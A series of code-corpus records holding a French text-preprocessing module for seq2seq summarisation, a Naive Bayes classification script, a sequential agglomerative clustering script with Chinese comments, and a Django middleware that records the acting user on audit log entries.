"src/model.py", "file_name": "model.py", "file_ext": "py", "file_size_in_byte": 8900, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "os.chdir", "line_number": 17, "usage_type": "call"}, {"api_name": "pandas.read_csv", "line_number": 27, "usage_type": "call"}, {"api_name": "os.getcwd", "line_number": 27, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.clf", "line_number": 82, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 82, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.xlabel", "line_number": 86, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 86, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.ylabel", "line_number": 87, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 87, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.title", "line_number": 88, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 88, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.savefig", "line_number": 89, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 89, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.show", "line_number": 90, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 90, "usage_type": "name"}, {"api_name": "scipy.stats.mstats.normaltest", "line_number": 107, "usage_type": "call"}, {"api_name": "pandas.DataFrame", "line_number": 109, "usage_type": "call"}, {"api_name": "numpy.asarray", "line_number": 110, "usage_type": "call"}, {"api_name": "os.getcwd", "line_number": 113, "usage_type": "call"}, {"api_name": "numpy.log", "line_number": 125, "usage_type": "call"}, {"api_name": "pandas.DataFrame", "line_number": 129, "usage_type": "call"}, {"api_name": "src.lib.tools.scale_input_matrix", "line_number": 139, "usage_type": "call"}, {"api_name": "src.lib.tools", "line_number": 139, "usage_type": "name"}, {"api_name": "scipy.stats.mstats.normaltest", "line_number": 143, "usage_type": "call"}, {"api_name": "pandas.DataFrame", "line_number": 145, "usage_type": "call"}, {"api_name": "numpy.asarray", "line_number": 146, "usage_type": "call"}, {"api_name": "os.getcwd", "line_number": 149, "usage_type": "call"}, {"api_name": "os.getcwd", "line_number": 153, "usage_type": "call"}, {"api_name": "os.getcwd", "line_number": 160, "usage_type": "call"}, {"api_name": "src.lib.static_network_calculation.calculate_marginal_correlation_matrix", "line_number": 182, "usage_type": "call"}, {"api_name": "src.lib.static_network_calculation", "line_number": 182, "usage_type": "name"}, {"api_name": "src.lib.static_network_calculation.calculate_partial_correlation_matrix", "line_number": 184, "usage_type": "call"}, {"api_name": "src.lib.static_network_calculation", "line_number": 184, "usage_type": "name"}, {"api_name": "src.lib.static_network_calculation.calculate_adjacency_matrix", "line_number": 191, "usage_type": "call"}, {"api_name": "src.lib.static_network_calculation", "line_number": 191, "usage_type": "name"}, {"api_name": "src.lib.static_network_calculation.calculate_adjacency_matrix", "line_number": 192, "usage_type": "call"}, {"api_name": "src.lib.static_network_calculation", "line_number": 192, "usage_type": "name"}, {"api_name": "networkx.from_numpy_matrix", "line_number": 197, "usage_type": "call"}, {"api_name": "networkx.relabel_nodes", "line_number": 199, "usage_type": "call"}, {"api_name": "src.lib.static_network_calculation.nx.eigenvector_centrality", "line_number": 216, "usage_type": "call"}, {"api_name": "src.lib.static_network_calculation.nx", "line_number": 216, "usage_type": "attribute"}, {"api_name": "src.lib.static_network_calculation", "line_number": 216, "usage_type": "name"}, {"api_name": "networkx.set_node_attributes", "line_number": 218, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.clf", "line_number": 223, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 223, "usage_type": "name"}, {"api_name": "networkx.draw_networkx", "line_number": 224, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.get_cmap", "line_number": 225, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 225, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.axis", "line_number": 226, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 226, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.title", "line_number": 227, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 227, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.savefig", "line_number": 228, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 228, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.show", "line_number": 229, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 229, "usage_type": "name"}, {"api_name": "networkx.write_adjlist", "line_number": 234, "usage_type": "call"}, {"api_name": "os.getcwd", "line_number": 234, "usage_type": "call"}, {"api_name": "networkx.from_numpy_matrix", "line_number": 246, "usage_type": "call"}, {"api_name": "networkx.relabel_nodes", "line_number": 248, "usage_type": "call"}, {"api_name": "src.lib.static_network_calculation.nx.eigenvector_centrality", "line_number": 262, "usage_type": "call"}, {"api_name": "src.lib.static_network_calculation.nx", "line_number": 262, "usage_type": "attribute"}, {"api_name": "src.lib.static_network_calculation", "line_number": 262, "usage_type": "name"}, {"api_name": "networkx.set_node_attributes", "line_number": 264, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.clf", "line_number": 273, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 273, "usage_type": "name"}, {"api_name": "networkx.draw_networkx", "line_number": 275, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.get_cmap", "line_number": 276, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 276, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.title", "line_number": 277, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 277, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.axis", "line_number": 278, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 278, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.savefig", "line_number": 279, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 279, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.show", "line_number": 280, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 280, "usage_type": "name"}]} {"seq_id": "293721674", "text": "\"\"\"\nCreated on Sun Jul 29 18:02:55 2018\n\nExécutable pour pre\n\n@author: Claire\n\"\"\"\n# coding: utf-8\nimport numpy as np\nimport pandas as pd\nimport re\nfrom collections import Counter\nimport copy\n#%%\n\n#Une liste de contractions par défaut\ncontractions_default = {\n \"j'\" : \"je \",\n \"t'\" : \"tu \",\n \"ns \": \"nous \",\n \"vs \": \"vous \",\n \"pk \" : \"pourquoi \",\n \"pq \" : \"pourquoi \",\n \"asap\" : \"dès que possible\",\n \"cad \" : \"c'est à dire\", \n \"slt\" : \"salut\",\n \"cc\" : \"coucou\", \n \"jtm\" : \"je t'aime\", \n \"svt\" : \"souvent\", \n \"sis\" : \"ma soeur\", \n \"bro\" : \"mon frère\", \n \"omg\" : \"oh mon dieu\", \n \"dar \" : \"bien\", \n \"irl \" : \"dans la vraie vie \",\n \"dm \" : \"message direct\",\n \"c \" : \"c'est\", \n \"mme\" : \"madame\",\n \"mr\" : \"monsieur\",\n \"mlle \" : \"mademoiselle \",\n \"tt \" : \"tout \",\n \"ts \" : \"tous \",\n \"bcp \" : \"beaucoup \",\n \"trp \" : \"trop \" \n}\n#%%\ndef nettoyer(text, to_replace=None, stopwords = None):\n '''\n Arguments : \n - une chaine de caractères à nettoyer \n - un dictionnaire de caractères à remplacer , default = contractions\n - une liste de mots à supprimer \n \n Retourne : \n - la chaine nettoyée : caractères spéciaux, chiffres (et stopwords) enlevés \n '''\n \n if to_replace == 'default':\n to_replace = contractions_default\n \n # Convert words to lower case\n text = text.lower()\n \n # Replace contractions with their longer forms \n \n if to_replace : \n text = text.split()\n new_text = []\n for word in text:\n if word in to_replace:\n new_text.append(to_replace[word])\n else:\n new_text.append(word)\n text = \" \".join(new_text)\n \n # Format words and remove unwanted characters\n text = re.sub(r'https?:\\/\\/.*[\\r\\n]*', '', text, flags=re.MULTILINE) #urls\n text = re.sub(r'\\<a href', ' ', text) #balises\n text = re.sub(r'&', '', text) #&\n text = re.sub(r'[_\"«»\\-;%()|+&=*%.,!?:#$@\\[\\]/]', ' ', text) #caractères spéciaux\n text = re.sub(r'<br />', ' ', text) #balises\n text = re.sub(r'\\'', ' ', text)\n \n # Optionally, remove stop words\n if stopwords:\n text = text.split()\n stops = stopwords\n text = [w for w in text if not w in stops]\n text = \" \".join(text)\n\n return text\n#%%\ndef clean_data(data, to_replace = None, stopwords = None):\n '''\n data : liste ou série de textes à nettoyer \n Retourne une liste de textes nettoyés \n '''\n clean_texts = []\n for text in data:\n clean_texts.append(nettoyer(text, to_replace, stopwords))\n \n return clean_texts \n#%%\ndef count_words(compteur, text):\n '''Count the number of occurrences of each word in a set of text'''\n for sentence in text:\n for word in sentence.split():\n if word not in compteur:\n compteur[word] = 1\n else:\n compteur[word] += 1\n \n#%%\ndef clean_and_count(data, to_replace, stopwords):\n\n # Nettoyons tout ça : \n clean_texts = clean_data(data.texte, to_replace, stopwords = None)\n print('Textes cleaned')\n clean_resumes = clean_data(data.resume, to_replace)\n print('Resumes cleaned')\n \n #Stats \n compteur = Counter()\n count_words(compteur, clean_texts)\n count_words(compteur, clean_resumes)\n nb_mots= len(compteur)\n print(\"Nombre de mots : \", nb_mots)\n \n return clean_texts, clean_resumes, compteur\n \n#%%\ndef get_embeddings(compteur, seuil, embeddings_dim, pre_embeddings=None):\n '''\n Cette fonction récupère :\n - compteur : dictionnaire de type {'mot':fréquence}\n - seuil : seuil de fréquence au dessus duquel un mot est pertinent \n - pre_embeddings : dictionnaire d'embeddings pré-entraînés de type {'mot': array}\n \n Et retourne : \n - une matrice d'embeddings , np.array \n - un dictionnaire associant chaque indexe de la matrice au mot correspondant\n - un dictionnaire associant chaque mot à l'indexe correspondant dans la matrice \n ''' \n #Mapping\n word2int={}\n value = 1 \n for mot, compte in compteur.items():\n if compte > seuil or mot in pre_embeddings:\n word2int[mot] = value\n value+=1 \n\n #Tokens spécifiques à seq2seq à ajouter au vocabulaire :\n #UNK : unknown\n #PAD : remplir le vide dans le batch\n #EOS : fin de la phrase (end of sentence)\n #GO : premier mot envoyé dans le batch \n codes = [\"<UNK>\",\"<EOS>\",\"<GO>\"] \n \n #Add PAD\n word2int[\"<PAD>\"] = 0\n # Add codes to vocab\n for code in codes:\n word2int[code] = len(word2int)\n \n #Mapping inverse : d'un entier à un mot : \n int2word={}\n for mot, value in word2int.items():\n int2word[value] = mot\n \n assert len(int2word) == len(word2int)\n \n vocab_size = len(word2int)\n print('Taille du vocabulaire: ',vocab_size)\n print('Pourcentage de mots utilisés:' ,round(len(int2word)/len(compteur)*100, 2), '%')\n \n words_embeddings_matrix = np.zeros((vocab_size, embeddings_dim ), dtype=np.float32)\n\n for mot, int_value in word2int.items():\n if mot in pre_embeddings:\n words_embeddings_matrix[int_value] = pre_embeddings[mot]\n #On attribue au vecteur au hasard si on n'en trouve pas dans notre table \n else :\n new_vecteur = np.random.uniform(-1,1, embeddings_dim)\n words_embeddings_matrix[int_value] = new_vecteur\n pre_embeddings[mot] = new_vecteur\n \n return words_embeddings_matrix, word2int, int2word\n \n#%% \n'''\nTransforme chaque donnée d'entrée en la suite du numéro onehot qui lui correspond \n'''\n\ndef text2int(text, unk_count, word2int, eos=False, start_token=False):\n word_count=0\n text_int =[]\n for phrase in text:\n phrase_int=[]\n for mot in phrase.split():\n if mot in word2int:\n phrase_int.append(word2int[mot])\n else:\n phrase_int.append(word2int['<UNK>'])\n unk_count+=1\n word_count+=1\n if eos:\n phrase_int.append(word2int['<EOS>'])\n text_int.append(phrase_int)\n return text_int, word_count, unk_count\n#%%\n\n \ndef encode_texts(clean_texts, clean_resumes, word2int):\n unk_count=0\n\n text_int, word_count_text, unk_count = text2int(clean_texts, unk_count, word2int, eos=False)\n resumes_int, word_count_resume, unk_count = text2int(clean_resumes, unk_count, word2int, eos=True)\n \n word_count_total = word_count_text + word_count_resume\n \n unk_percent = round(unk_count/word_count_total,4)*100\n reduction_percent = round(word_count_resume/word_count_text,2)*100\n \n print(\"Nombe total de mots dans les textes : \", word_count_text)\n print(\"Nombe total de mots dans les résumés : \", word_count_resume)\n print(\"Rapport du nb de mots de résumé à texte\", reduction_percent, '%')\n print(\"Nombe total de mots \", word_count_total)\n print(\"Nombre total de UNKs :\", unk_count)\n print(\"Pourcentage de mots UNK: {}%\".format(unk_percent))\n \n return text_int, resumes_int\n#%%\n \ndef unk_counter(sentence, unkchar_id):\n '''Counts the number of time UNK appears in a sentence.'''\n unk_count = 0\n for word in sentence:\n if word == unkchar_id:\n unk_count += 1\n return unk_count\n\ndef create_lengths(text, unkchar_id):\n \n '''Create a data frame of the sentence lengths from a text'''\n lengths = []\n nb_unks= []\n for sentence in text:\n lengths.append(len(sentence))\n nb_unks.append(unk_counter(sentence , unkchar_id))\n return lengths, nb_unks\n\ndef filter_data(X, Y, unkchar_id, text_len, resume_len, text_unk_limit, resume_unk_limit):\n\n sorted_X=[]\n sorted_Y=[]\n\n '''\n text_bracket : tuple de taille 2 avec longueurs max et min acceptées pour les textes\n resume_brakcet : tuple avec longueurs max et min acceptées pour les résumés\n text_unk_limit : nombre de unk acceptés pour les textes \n resume_unk_limit : nombre de unk acceptés pour les résumés \n \n '''\n \n lengths_text, nb_unks_text = create_lengths(X, unkchar_id)\n lengths_resume, nb_unks_resume = create_lengths(Y, unkchar_id)\n\n data = {'lengths_text':lengths_text, \n 'nb_unks_text' :nb_unks_text, \n 'lengths_resumes': lengths_resume,\n 'nb_unks_resumes': nb_unks_resume\n }\n \n len_data = pd.DataFrame(data=data)\n print('Avant filtrage')\n print(len_data.describe())\n \n filtre = (len_data['nb_unks_resumes']<=resume_unk_limit) & (len_data['nb_unks_text'] <= text_unk_limit) \n filtre = filtre & (len_data['lengths_text'] >= text_len[0]) & (len_data['lengths_text'] <= text_len[1])\n filtre = filtre & (len_data['lengths_resumes'] >= resume_len[0]) & (len_data['lengths_resumes'] <= text_len[1]) \n \n filtered_len = len_data[filtre]\n print('Après filtrage')\n print(filtered_len.describe())\n \n sorted_len = filtered_len.sort_values('lengths_text')\n \n for i in sorted_len.index:\n sorted_X.append(X[i])\n sorted_Y.append(Y[i])\n \n return sorted_X, sorted_Y\n#%%\ndef gen_decoder_inputs_from_target(Y, go_char_id):\n '''\n Y : liste de tokenized sequences \n go_char_id : l'id du caractère de début de phrase \n '''\n decoder_inputs = copy.deepcopy(Y)\n for target in decoder_inputs:\n target.pop()\n target.insert(0,go_char_id)\n return decoder_inputs", "sub_path": "text_preprocessing.py", "file_name": "text_preprocessing.py", "file_ext": "py", "file_size_in_byte": 9560, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "re.sub", "line_number": 76, "usage_type": "call"}, {"api_name": "re.MULTILINE", "line_number": 76, "usage_type": "attribute"}, {"api_name": "re.sub", "line_number": 77, "usage_type": "call"}, {"api_name": "re.sub", "line_number": 78, "usage_type": "call"}, {"api_name": "re.sub", "line_number": 79, "usage_type": "call"}, {"api_name": "re.sub", "line_number": 80, "usage_type": "call"}, {"api_name": "re.sub", "line_number": 81, "usage_type": "call"}, {"api_name": "collections.Counter", "line_number": 122, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 175, "usage_type": "call"}, {"api_name": "numpy.float32", "line_number": 175, "usage_type": "attribute"}, {"api_name": "numpy.random.uniform", "line_number": 182, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 182, "usage_type": "attribute"}, {"api_name": "pandas.DataFrame", "line_number": 273, "usage_type": "call"}, {"api_name": "copy.deepcopy", "line_number": 298, "usage_type": "call"}]} {"seq_id": "239228937", "text": "import pandas as pd\r\nfrom sklearn.model_selection import train_test_split\r\nfrom sklearn.naive_bayes import GaussianNB\r\nfrom sklearn import preprocessing\r\nimport argparse\r\n\r\n\r\n\r\nap = argparse.ArgumentParser()\r\nap.add_argument(\"-train\", \"--trainingdataset\", required=True)\r\nap.add_argument(\"-test\", \"--testingdataset\")\r\nap.add_argument(\"-attri\", \"--attributes\", type=str, required=True)\r\nap.add_argument(\"-cat\", \"--category\", type=str)\r\nap.add_argument(\"-c\", \"--class\", type=int, required=True)\r\nargs = vars(ap.parse_args())\r\nle = preprocessing.LabelEncoder()\r\n\r\nbalance_data = pd.read_csv(args['trainingdataset'], sep=',')\r\n\r\nX = balance_data.values[:, int(args['attributes'].split(':')[0]):int(args['attributes'].split(':')[1])]\r\nY = balance_data.values[:, args['class']]\r\n# Y = Y.astype('int')\r\n\r\nif args['category']:\r\n for i in range(int(args['category'].split(':')[0]), int(args['category'].split(':')[1])):\r\n col = int(args['category'].split(':')[0])\r\n le.fit(list(set(X[:, i - col])))\r\n X[:, i - col] = le.transform(X[:, i - col])\r\n\r\nif args['testingdataset']:\r\n testing_data = pd.read_csv(args['testingdataset'], sep=',')\r\n X_test = testing_data.values[:, int(args['attributes'].split(':')[0]):int(args['attributes'].split(':')[1])]\r\n y_test = testing_data.values[:, args['class']]\r\n X_train = X\r\n y_train = Y\r\nelse:\r\n X_train, X_test, y_train, y_test = train_test_split(X, Y, test_size=0.3, random_state=100)\r\n\r\nclf=GaussianNB()\r\nclf.fit(X_train,y_train)\r\npredicted_proba=clf.predict_proba(X_test)\r\nacc = clf.score(X_test, y_test)\r\nprint(\"accuracy: \" + str(acc))\r\n", "sub_path": "Tradeoff between Performance and Explanation of Classification Models/naive_bayes.py", "file_name": "naive_bayes.py", "file_ext": "py", "file_size_in_byte": 1613, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "argparse.ArgumentParser", "line_number": 9, "usage_type": "call"}, {"api_name": "sklearn.preprocessing.LabelEncoder", "line_number": 16, "usage_type": "call"}, {"api_name": "sklearn.preprocessing", "line_number": 16, "usage_type": "name"}, {"api_name": "pandas.read_csv", "line_number": 18, "usage_type": "call"}, {"api_name": "pandas.read_csv", "line_number": 31, "usage_type": "call"}, {"api_name": "sklearn.model_selection.train_test_split", "line_number": 37, "usage_type": "call"}, {"api_name": "sklearn.naive_bayes.GaussianNB", "line_number": 39, "usage_type": "call"}]} {"seq_id": "66895786", "text": "import numpy as np\nimport time\nimport matplotlib.pyplot as plt\nimport numpy.linalg as la\nfrom scipy.spatial.distance import pdist\nfrom scipy.spatial.distance import squareform\n# 计算X矩阵的距离矩阵\ndef compute_squared_EDM(X):\n return squareform(pdist(X, metric='euclidean'))\n# 将分类的数据不同颜色显示。\ndef plotFeature(data, labels_):\n clusterNum=len(set(labels_))\n fig = plt.figure()\n scatterColors = ['black', 'blue', 'green', 'yellow', 'red', 'purple', 'orange', 'brown','#BC8F8F','#8B4513','#FFF5EE']\n ax = fig.add_subplot(111)\n for i in range(-1,clusterNum):\n colorSytle = scatterColors[i % len(scatterColors)]\n subCluster = data[np.where(labels_==i)]\n ax.scatter(subCluster[:,0], subCluster[:,1], c=colorSytle, s=12)\n plt.show()\n# 获得新簇集\ndef getNewCluster(classStart,mindisIndex,dataLength,disLength):\n # classStart[mindisIndex]是新簇集的开始坐标\n # 如果距离最小值索引是距离集合的最后一个\n # 新簇集结束坐标是data的最后一个值\n if (mindisIndex == disLength - 1):\n return classStart[mindisIndex],dataLength\n # 如果距离最小值索引不是距离集合的最后一个\n # 新簇集结束坐标为mindisIndex + 2，因为Python切片不包含索引为mindisIndex + 2的数据\n # Python切片，包含前面，不包含后面\n return classStart[mindisIndex],classStart[mindisIndex + 2]\n# 获得新簇集的上一个簇集\ndef getPreCluster(classStart,mindisIndex):\n # 如果距离最小值索引是距离集合的第0个元素\n # 新簇集不存在上一个集合，因此返回None\n if (mindisIndex == 0):\n return None\n # 如果距离最小值索引不是距离集合的第0个元素\n # 新簇集即为：classStart[mindisIndex - 1]:classStart[mindisIndex]\n return classStart[mindisIndex - 1],classStart[mindisIndex]\n# 获得新簇集的下一个簇集\ndef getNextCluster(classStart,mindisIndex,dataLength,disLength):\n # 如果距离最小值索引是距离集合的最后一个元素\n # 新簇集不存在下一个集合，因此返回None\n if (mindisIndex == disLength - 1):\n return None\n # 如果距离最小值索引是距离集合的倒数第二个元素\n # 新簇集的下一个集合应该为簇集集合中的最后一个簇集\n elif (mindisIndex == disLength - 2):\n return classStart[mindisIndex + 2],dataLength\n # 如果距离最小值索引不是距离集合的倒数第二个元素，也不是倒数第一个\n # 新簇集即为：classStart[mindisIndex + 2]:classStart[mindisIndex + 3]\n else:\n return classStart[mindisIndex + 2],classStart[mindisIndex + 3]\ndef updateNextCluster(dataDisMat,classDis,classStart,mindisIndex,dataLength,disLength):\n # 获得新产生的簇集集合\n newCluster = getNewCluster(classStart,mindisIndex,dataLength,disLength)\n # 获得与新簇集相邻的下一个簇集\n nextCluster = getNextCluster(classStart,mindisIndex,dataLength,disLength)\n # 如果preCluster为None，说明新簇集是最后一个簇集，不存在下一个簇集\n if(nextCluster is None):\n return classDis\n # 如果preCluster不为None，查找新簇集与后一个簇集的距离矩阵\n nextDisMat = dataDisMat[newCluster[0]:newCluster[1], nextCluster[0]:nextCluster[1]]\n n, m = nextDisMat.shape\n # 计算两个簇集的平均距离（这里也可以是最小距离，也可以是最大距离）\n nextDis = np.sum(nextDisMat) / (n * m)\n # 将新簇集与后一个簇集的距离赋值给mindisIndex + 1的位置上\n classDis[mindisIndex + 1] = nextDis\n return classDis\ndef updatePreCluster(dataDisMat,classDis,classStart,mindisIndex,dataLength,disLength):\n # 获得新产生的簇集集合\n newCluster = getNewCluster(classStart,mindisIndex,dataLength, disLength)\n # 获得新簇集的前一个集合\n preCluster = getPreCluster(classStart,mindisIndex)\n # 如果preCluster为None，说明新簇集就是第一个簇集\n if (preCluster is None):\n return classDis\n # 如果preCluster不为None，查找新簇集与前一个簇集的距离矩阵\n preDisMat = dataDisMat[preCluster[0]:preCluster[1],newCluster[0]:newCluster[1]]\n n, m = preDisMat.shape\n # 计算两个簇集的平均距离（这里也可以是最小距离，也可以是最大距离）\n preDis = np.sum(preDisMat) / (n * m)\n # 将新簇集与前一个簇集的距离赋值给mindisIndex - 1的位置上\n classDis[mindisIndex - 1] = preDis\n return classDis\ndef ST_AGNES(data,classNum):\n # 将data沿着y轴滚动一次\n rollData = np.roll(data, 1, axis=0)\n # 计算向量之间的距离矩阵\n dataDisMat = compute_squared_EDM(data)\n # 计算一共有多少条数据\n dataLength = len(data)\n # la.norm(rollData - data, axis=1) 求相邻数据之间的欧式距离，默认为2范数\n # np.delete()删除距离数组中的第一个元素\n # classDis中的第i个元素代表着第i与i+1类别之间的距离\n classDis = np.delete(la.norm(rollData - data, axis=1), 0)\n # 记录每一个簇集起始点的索引\n # classStart数组的长度一定比classDis数组的长度多1\n # classStart数组的长度等于簇集的个数\n # 初始化簇集起始点的索引，起始点，每一个点都是一个簇集\n classStart = np.arange(0, len(data))\n # 当簇集合并到classNum数量时，聚类过程结束\n while (len(classStart) > classNum):\n # 寻找到最小距离的id\n # 需要合并的簇集mindisIndex 和mindisIndex + 1\n mindisIndex = np.argmin(classDis)\n disLength=len(classDis)\n # 簇集向前扩展，即合并后的簇集，重新计算新簇集与前一个簇集的距离\n classDis = updatePreCluster(dataDisMat, classDis, classStart, mindisIndex, dataLength,disLength)\n # 簇集向后扩展，即合并后的簇集，重新计算新簇集与后一个簇集的距离并\n classDis = updateNextCluster(dataDisMat, classDis, classStart, mindisIndex,dataLength,disLength)\n # 在簇集合并当中mindisIndex + 1的簇集被mindisIndex的簇集合并掉\n # 因此删掉第mindisIndex + 1簇集的初始索引\n classStart = np.delete(classStart, mindisIndex + 1)\n # 在簇集合并当中mindisIndex + 1的簇集被mindisIndex的簇集合并掉\n # 并将新的簇集距离赋值给mindisIndex - 1 和 mindisIndex + 1\n # 因此去掉索引为mindisIndex的距离\n classDis = np.delete(classDis, mindisIndex)\n return classStart\n# 此方法通过classStart 生成相应的簇集\n# classStart的长度标志着簇集的个数\n# classStart中每一个元素都标志着簇集的开始点坐标\ndef extract_clusters(data,classStart):\n # 将每一个簇集的类别初始化为-1\n labels=np.full((len(data),),-1)\n # 循环给簇集的每一个元素赋值\n for i in range(len(classStart)):\n if(i==(len(classStart)-1)):\n labels[classStart[i]:] = i\n else:\n labels[classStart[i]:classStart[i+1]]=i\n return labels\n# 加载聚类数据\ndata = np.loadtxt(\"data/cluster.csv\", delimiter=\",\")\n# 执行聚类算法，得到聚类类别的初始点坐标索引\nstart = time.clock()\nclassStart=ST_AGNES(data,4)\nend = time.clock()\n# 获得每一个点的聚类类别\nlabels=extract_clusters(data,classStart)\n# 显示图形\nprint('finish all in %s' % str(end - start))\nplotFeature(data,labels)", "sub_path": "ST_AGNES_NUM.py", "file_name": "ST_AGNES_NUM.py", "file_ext": "py", "file_size_in_byte": 7486, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "scipy.spatial.distance.squareform", "line_number": 9, "usage_type": "call"}, {"api_name": "scipy.spatial.distance.pdist", "line_number": 9, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.figure", "line_number": 13, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 13, "usage_type": "name"}, {"api_name": "numpy.where", "line_number": 18, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.show", "line_number": 20, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 20, "usage_type": "name"}, {"api_name": "numpy.sum", "line_number": 67, "usage_type": "call"}, {"api_name": "numpy.sum", "line_number": 83, "usage_type": "call"}, {"api_name": "numpy.roll", "line_number": 89, "usage_type": "call"}, {"api_name": "numpy.delete", "line_number": 97, "usage_type": "call"}, {"api_name": "numpy.linalg.norm", "line_number": 97, "usage_type": "call"}, {"api_name": "numpy.linalg", "line_number": 97, "usage_type": "name"}, {"api_name": "numpy.arange", "line_number": 102, "usage_type": "call"}, {"api_name": "numpy.argmin", "line_number": 107, "usage_type": "call"}, {"api_name": "numpy.delete", "line_number": 115, "usage_type": "call"}, {"api_name": "numpy.delete", "line_number": 119, "usage_type": "call"}, {"api_name": "numpy.full", "line_number": 126, "usage_type": "call"}, {"api_name": "numpy.loadtxt", "line_number": 135, "usage_type": "call"}, {"api_name": "time.clock", "line_number": 137, "usage_type": "call"}, {"api_name": "time.clock", "line_number": 139, "usage_type": "call"}]} {"seq_id": "239679874", "text": "import time\n\nfrom django.conf import settings\nfrom django.db.models.signals import pre_save\nfrom django.utils.functional import curry\nfrom django.db.models.loading import get_model\nfrom auditlog.models import LogEntry\n\n\nclass AuditlogMiddleware(object):\n \"\"\"\n Middleware to couple the request's user to log items. This is accomplished by currying the signal receiver with the\n user from the request (or None if the user is not authenticated).\n \"\"\"\n\n def process_request(self, request):\n \"\"\"\n Gets the current user from the request and prepares and connects a signal receiver with the user already\n attached to it.\n \"\"\"\n if hasattr(request, 'user') and hasattr(request.user, 'is_authenticated') and request.user.is_authenticated():\n user = request.user\n request.auditlog_ts = time.time()\n set_actor = curry(self.set_actor, user)\n pre_save.connect(set_actor, sender=LogEntry, dispatch_uid=(self.__class__, request.auditlog_ts), weak=False)\n\n def process_response(self, request, response):\n \"\"\"\n Disconnects the signal receiver to prevent it from staying active.\n \"\"\"\n # Disconnecting the signal receiver is required because it will not be garbage collected (non-weak reference)\n if hasattr(request, 'auditlog_ts'):\n pre_save.disconnect(sender=LogEntry, dispatch_uid=(self.__class__, request.auditlog_ts))\n\n return response\n\n def process_exception(self, request, exception):\n \"\"\"\n Disconnects the signal receiver to prevent it from staying active in case of an exception.\n \"\"\"\n if hasattr(request, 'auditlog_ts'):\n pre_save.disconnect(sender=LogEntry, dispatch_uid=(self.__class__, request.auditlog_ts))\n\n return None\n\n @staticmethod\n def set_actor(user, sender, instance, **kwargs):\n \"\"\"\n Signal receiver with an extra, required 'user' kwarg. This method becomes a real (valid) signal receiver when\n it is curried with the actor.\n \"\"\"\n try:\n app_label, model_name = settings.AUTH_USER_MODEL.split('.')\n auth_user_model = get_model(app_label, model_name)\n except ValueError:\n auth_user_model = get_model('auth', 'user')\n if sender == LogEntry and isinstance(user, auth_user_model) and instance.actor is None:\n instance.actor = user\n", "sub_path": "src/auditlog/middleware.py", "file_name": "middleware.py", "file_ext": "py", "file_size_in_byte": 2427, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "time.time", "line_number": 23, "usage_type": "call"}, {"api_name": "django.utils.functional.curry", "line_number": 24, "usage_type": "call"}, {"api_name": "django.db.models.signals.pre_save.connect", "line_number": 25, "usage_type": "call"}, {"api_name": "django.db.models.signals.pre_save", "line_number": 25, "usage_type": "name"}, {"api_name": "auditlog.models.LogEntry", "line_number": 25, "usage_type": "name"}, {"api_name": "django.db.models.signals.pre_save.disconnect", "line_number": 33, "usage_type": "call"}, {"api_name": "django.db.models.signals.pre_save", "line_number": 33, "usage_type": "name"}, {"api_name": "auditlog.models.LogEntry", "line_number": 33, "usage_type": "name"}, {"api_name": "django.db.models.signals.pre_save.disconnect", "line_number": 42, "usage_type": "call"}, {"api_name": "django.db.models.signals.pre_save", "line_number": 42, "usage_type": "name"}, {"api_name": "auditlog.models.LogEntry", "line_number": 42, "usage_type": "name"}, {"api_name": "django.conf.settings.AUTH_USER_MODEL.split", "line_number": 53, "usage_type": "call"}, {"api_name": "django.conf.settings.AUTH_USER_MODEL", "line_number": 53, "usage_type": "attribute"}, {"api_name": "django.conf.settings", "line_number": 53, "usage_type": "name"}, {"api_name": "django.db.models.loading.get_model", "line_number": 54, "usage_type": "call"}, {"api_name": "django.db.models.loading.get_model", "line_number": 56, "usage_type": 